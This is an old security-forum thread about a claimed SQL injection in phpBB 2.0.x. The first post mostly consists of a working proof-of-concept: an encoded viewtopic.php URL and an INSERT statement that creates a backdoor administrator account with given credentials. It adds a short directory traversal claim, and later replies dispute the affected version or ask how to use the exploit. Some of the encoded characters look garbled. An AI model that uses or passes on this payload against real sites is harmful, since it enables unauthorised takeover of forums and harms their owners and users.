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Full disclosure |
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IT Security and Insecurity Portal |
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new xxs phpbb 2.0.11 |
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 Posted: Fri Dec 03, 2004 3:05 am |
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| any2000 |
| Active user |
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| Joined: Dec 02, 2004 |
| Posts: 26 |
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* phpBB version 2.0.11
Due to decoding mishandling of the input request a malicious attacker is able to inject any type of SQL query to the back-end database server. Upon close inspection of the code is became evident that using multiple char() functions will fool phpBB and allow insertion of an SQL query.
The following SQL statement will add a user with administrative rights on the system:
INSERT INTO phpbb_users(user_id, user_active, username, user_password, user_level) VALUES ('99999', '1', 'ze3lock', 'ba3c83348bddf7b368b478ac06d3340e', '1')
And the following login credentials:
username: ze3lock
pass: thepass
Note: This query is assuming that the phpBB user table is called 'phpbb_users', which comprise most of the sites using phpBB. However, sites in which the table's name was changed will not be affected and the correct name of the table will have to be discovered before exploitation can take place.
The exploit can be run on any site using phpBB without the need to be registered. This makes it a prime target for automated scripts that insert backdoors in many sites around the web. A proof of concept HTTP query is provided below. In order to make it work, an active thread number from the forums must be substituted in, but this is relatively trivial to find.
" target="_blank">http://site.com/forum/viewtopic.php?t=30&highlight=%2527%252emysql_query(chr(73)%252echr(7
%252echr(83)%252echr(69)%252echr(82)%252echr(84)%252echr(32)%252echr(73)%252echr(7
%252echr(84)%252echr(79)%252echr(32)%252echr(112)%252echr(104)%252echr(112)%252echr(9
%252echr(9%252echr(95)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(115)
%252echr(40)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)%252echr(105)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(97)%252echr(99)%252echr(116)%252echr(105)%252echr(118)%252echr(101)%252echr(44)
%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(110)%252echr(97)%252echr(109)
%252echr(101)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(112)%252echr(97)%252echr(115)%252echr(115)%252echr(119)%252echr(111)%252echr(114)
%252echr(100)%252echr(44)%252echr(117)%252echr(115)%252echr(101)%252echr(114)%252echr(95)
%252echr(108)%252echr(101)%252echr(118)%252echr(101)%252echr(108)%252echr(41)%252echr(32)
%252echr(86)%252echr(65)%252echr(76)%252echr(85)%252echr(69)%252echr(83)%252echr(32)
%252echr(40)%252echr(39)%252echr(57)%252echr(57)%252echr(57)%252echr(57)%252echr(57)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(44)%252echr(39)
%252echr(122)%252echr(101)%252echr(51)%252echr(108)%252echr(111)%252echr(99)%252echr(107)
%252echr(39)%252echr(44)%252echr(39)%252echr(9%252echr(97)%252echr(51)%252echr(99)
%252echr(56)%252echr(51)%252echr(51)%252echr(52)%252echr(56)%252echr(9%252echr(100)
%252echr(100)%252echr(102)%252echr(55)%252echr(9%252echr(51)%252echr(54)%252echr(56)
%252echr(9%252echr(52)%252echr(55)%252echr(56)%252echr(97)%252echr(99)%252echr(4
%252echr(54)%252echr(100)%252echr(51)%252echr(51)%252echr(52)%252echr(4%252echr(101)
%252echr(39)%252echr(44)%252echr(39)%252echr(49)%252echr(39)%252echr(41))%252e%2527
In addition, a directory traversal bug in the Attachmodule allows the user to read any file located on the local filesystem of the server running phpBB. The main culprit is the 'UPLOAD_DIR' argument which is not properly sanitized. This directory represents the directory in which all files should be uploaded to and the system accepts any type of character as input. An attacker is thus able to overwrite files on the local filesystem of the server
any body has informaion about this |
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| Posted: Fri Dec 03, 2004 5:25 am |
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| hebe |
| Advanced user |
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| Joined: Sep 04, 2004 |
| Posts: 59 |
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| this is not in 2.0.11 this is for 2.0.10 and lowers |
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man |
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| Posted: Fri Dec 03, 2004 1:13 pm |
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| talmo11 |
| Beginner |
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| Joined: Nov 06, 2004 |
| Posts: 2 |
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| Posted: Sat Dec 04, 2004 1:17 pm |
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| kizkur |
| Regular user |
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| Joined: Dec 04, 2004 |
| Posts: 11 |
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like serious correct?
www.site.com/forum/INSERT INTO phpbb_users(user_id, user_active, username, user_password, user_level) VALUES ('99999', '1', 'ze3lock', 'ba3c83348bddf7b368b478ac06d3340e', '1')
this good????
thank you |
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